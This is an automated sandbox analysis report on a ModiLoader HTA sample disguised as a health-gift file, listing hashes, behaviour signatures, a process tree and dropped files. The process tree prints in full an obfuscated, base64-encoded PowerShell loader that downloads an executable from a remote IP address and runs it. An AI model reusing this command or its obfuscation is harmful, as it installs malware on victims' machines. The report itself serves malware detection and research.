Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
18-12-2024 13:41
General
-
Target
greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
-
Size
144KB
-
MD5
5590c12b4f62de6de143d675d7681db0
-
SHA1
e7f0a97a22c0c11336e1cbc37fee2e31adbf01ee
-
SHA256
3057554d997baa307152ad177f47430aa1b8748f2021c8080cc6876016829b23
-
SHA512
eb62448a56f6de94d8671c7bb6d882c56d802afbfbb49baa22cea344991736e34e320f9a0786397bffaf43afae6b7ac77f05ab29218a04e9ec68dd2eea37f891
-
SSDEEP
768:t1EHfLum2oum2J5KUJDVUKhC74GVf/Aq2v9PV8aQP2eLPyqv6vRc6cfzqfz4Asfc:tz
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modiloader family
-
ModiLoader Second Stage 62 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Evasion via Device Credential Deployment 2 IoCs
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 7 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"2⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"3⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1i7tbdq-.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC57.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCAC56.tmp"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Roaming\nicerose.exe"C:\Users\Admin\AppData\Roaming\nicerose.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 6965⤵
- Loads dropped DLL
- Program crash
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD59a544ad77f4bc6d712f01bb68b1bebac
SHA12f2eb58aaf4fcc86230b6e83e199c214ff9ba643
SHA2566b68726af0a43d10cab0247e438f66d8d4ed55859267618e03d10f60742747f7
SHA51215e3cc532a6c72e161623f213ce524d52f97fd857959252c135a82099383ec17b4b1a911fe7a065a07dc16c26e71779fc03db7dc7596fe56bc0054ace7345975
-
Filesize
7KB
MD5a1e3fb574bf353f4b539914561ff6026
SHA16dbd86fa6aeb0b45baf3742b772596c390c9c3f0
SHA25613a6024e8a05183fbe87f2a911ef0cdecf00877eb5ced8dd019b3b4e6b0da232
SHA512a07916a7a9d18b8e96f47b9201fda36bc047323a1b4cd630d5fb089a0d2df61ee9b2dfaac67305d891ab170a3aafe97d80c49b2d6cf32dea32eec958e0c307c7
-
Filesize
1KB
MD5ce2c52139900508d8c2173017cbe2e96
SHA184bf0c29d8cbf6b87af43528871214a7a5f8f0f0
SHA256dc23a9a7b879367e61621b5062e307bcb02fc0eeaed249dc365aa3171c7e3b28
SHA512b4bfe50531a7d84e12ca7d4bf1b88cc58145c37c026250be7ce2c0e7103b6f12cb32bf2c92f855659dde5c55a67f4ade1cd524246371a72f43a3526ea83484eb
-
Filesize
1.3MB
MD5ccdcd04a0ffde31366754018598eb02f
SHA138492826e8febf5bd7da4f9d8a8379ec7044ca9a
SHA25663c77a3f6cfa94cbc6a4c0c1475f02520592e58d6a03e8553e77a85a3f03c32f
SHA5128059cf54a64b45598b39becb3ec02fdf4b5837e4dd84ac82d33334850d61d1b33df70da0a65857c33e9a0fe2dc3d405bdbf6fa7214ab68e471e2e0c0f7e31053
-
Filesize
490B
MD53133a0e8a2a7f9bd3f2ff03a270769e4
SHA1f4314d0ccac807322c9b64778efccd2380a2604b
SHA2565baa6a713032bcdee2b788fb0217c44ed74d6a210346f34d443055aedb82b6d9
SHA512934f70d1ec8eb08b45084ecf51f4cec129f6ac0ceadbc8d1e306a4c492e99e017c6dc3d59084159bcaf44a3ea2a67af368d7f5e2f7f82d77598fd8c7a9d77e4c
-
Filesize
309B
MD5623a307e468440ef0abaaa8dae85f300
SHA1ba688ccafd8bd2e72d1423946de52ca1c298faf4
SHA256fcb9df52f5340c2fdb24d4727973d6ea2ae53806fc62fe91f8cb7570d84e5c9c
SHA51200c8cddb900bd0f021965c99123716296861eb26e96b8b479e31f7b886a18a8f92d640a32ad32968a63d256328b37c3c7799209a7e6d2c95cb6b0088d2fe9324
-
Filesize
652B
MD56bf7d589d61317980bb8ee42db4dfb3f
SHA13165e7c21991bc4ae05e1d5631981574b06af193
SHA256f62f18ac15119e37eed55b20008d25884a96a9656b3040e7960a12dcb9f3792b
SHA512544dbeaf4b094abf8f21318fb5d71accb3e25fc0924282d4d261406053ac6269f79300d1a3af0e7e4eed838e5a0e883e4178f40c8ece726c9f2bfb87e8f10307
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB
-
Filesize
16.0MB